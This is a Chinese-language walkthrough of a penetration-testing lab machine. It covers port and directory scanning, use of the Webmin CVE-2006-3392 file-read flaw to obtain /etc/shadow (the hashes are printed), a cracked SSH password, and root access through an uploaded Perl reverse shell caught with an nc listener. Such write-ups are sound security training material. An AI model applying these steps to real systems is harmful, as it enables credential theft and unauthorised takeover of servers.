靶机下载地址:
信息收集
主机探测
获取到目标靶机IP 10.10.10.3
初步扫描
发现以下端口开放
22/tcp open ssh
80/tcp open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds
10000/tcp open snet-sensor-mgmt
详细信息扫描
sudo nmap -sT -sC -sV -O -p 22,80,139,445,10000 10.10.10.3
可获得以下信息
22/tcp open ssh OpenSSH 4.6p1 Debian 5build1 (protocol 2.0)
80/tcp open http Apache httpd 2.2.4 ((Ubuntu) PHP/5.2.3-1ubuntu6)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: MSHOME)
445/tcp open netbios-ssn Samba smbd 3.0.26a (workgroup: MSHOME)
10000/tcp open http MiniServ 0.01 (Webmin httpd)
Running: Linux 2.6.X
漏洞脚本扫描
sudo nmap -sT --script=vuln -p 22,80,139,445,10000 10.10.10.3
发现了在10000端口一个可利用漏洞cve2006-3392
该漏洞可导致任意文件读取
UDP扫描
可获得以下信息
137/udp open netbios-ns
10000/udp open ndmp
目录扫描
sudo dirb http://10.10.10.3
可获得以下信息
+ http://10.10.10.3/cgi-bin/ (CODE:403|SIZE:304)
+ http://10.10.10.3/index (CODE:200|SIZE:295)
+ http://10.10.10.3/index.php (CODE:200|SIZE:295)
+ http://10.10.10.3/index1 (CODE:200|SIZE:1104)
+ http://10.10.10.3/index2 (CODE:200|SIZE:156)
==> DIRECTORY: http://10.10.10.3/php/
+ http://10.10.10.3/server-status (CODE:403|SIZE:309)
WEB指纹识别
访问80端口的php目录发现phpMyAdmin,同时知道了版本号为2.6.3-pl1
访问10000端口发现一个后台登录,是webmin
漏洞发现和利用
漏洞发现
在80端口发现文件包含漏洞,可以读取/etc/passwd,但是仍然无法读取/etc/shadow
同时看到了一些疑似用户名密码的信息,但是都无法登录phpMyAdmin和10000端口的后台以及ssh。
sk1ll3d n00b skilled n00b
l33t hax0r leet hacker
漏洞利用
尝试利用webmin的cve2006-3392漏洞读取/etc/shadow
发现可以成功获取到,可登录用户有
root:$1$LKrO9Q3N$EBgJhPZFHiKXtK0QRqeSm/:14041:0:99999:7:::
vmware:$1$7nwi9F/D$AkdCcO2UfsCOM0IC8BYBb/:14042:0:99999:7:::
obama:$1$hvDHcCfx$pj78hUduionhij9q9JrtA0:14041:0:99999:7:::
osama:$1$Kqiv9qBp$eJg2uGCrOHoXGq0h5ehwe.:14041:0:99999:7:::
yomama:$1$tI4FJ.kP$wgDmweY9SAzJZYqW76oDA.:14041:0:99999:7:::
ssh登录
最终结果是只有vmware的解密出来了密码是h4ckm3,成功登录到靶机
提权
查看用户权限,权限较低。
既然我们能够通过webmin的漏洞访问任意文件,这意味着它有相当高的权限。同时,我们知道webmin是perl写的,能够解析cgi和pl后缀,那我们就可以上传一个perl语言的反弹shell到靶机,后缀改为cgi,然后访问它就能够得到反弹shell。这里提一下这个靶机不用pl后缀的原因。首先,cgi后缀的文件通常配置为可执行文件,服务器会尝试执行这些文件并返回结果。然而pl后缀的就不同了,虽然.pl是Perl脚本的常见后缀,但并不是所有的服务器都会尝试执行.pl文件。这取决于服务器的配置。如果服务器没有被配置为执行.pl文件,那么它就会将.pl文件当作普通的文本文件来处理,返回文件的内容而不是执行它。
攻击机开启监听sudo nc -lvnp 4444
上传webshell到靶机,注意这里一定要将文件改成可执行文件
chmod 777 pershel.cgi
访问文件成功获取反弹shell,身份是root,提权成功。
总结
通过漏洞扫描发现10000端口存在任意文件读取漏洞,读取/etc/passwd和/etc/shadow获取可登录的用户密码,然后暴力破解得到vmware的密码h4ckm3,登录SSH后,再次利用该漏洞获取反弹shell成功提权。本次利用的漏洞并不是文件包含漏洞,而是路径遍历漏洞,虽然它们的功能差不多,但它们的工作方式有所不同,路径遍历漏洞是通过修改文件路径来访问到不应该被访问的文件,而文件包含漏洞是通过在web应用中包含和执行服务器上的其他文件。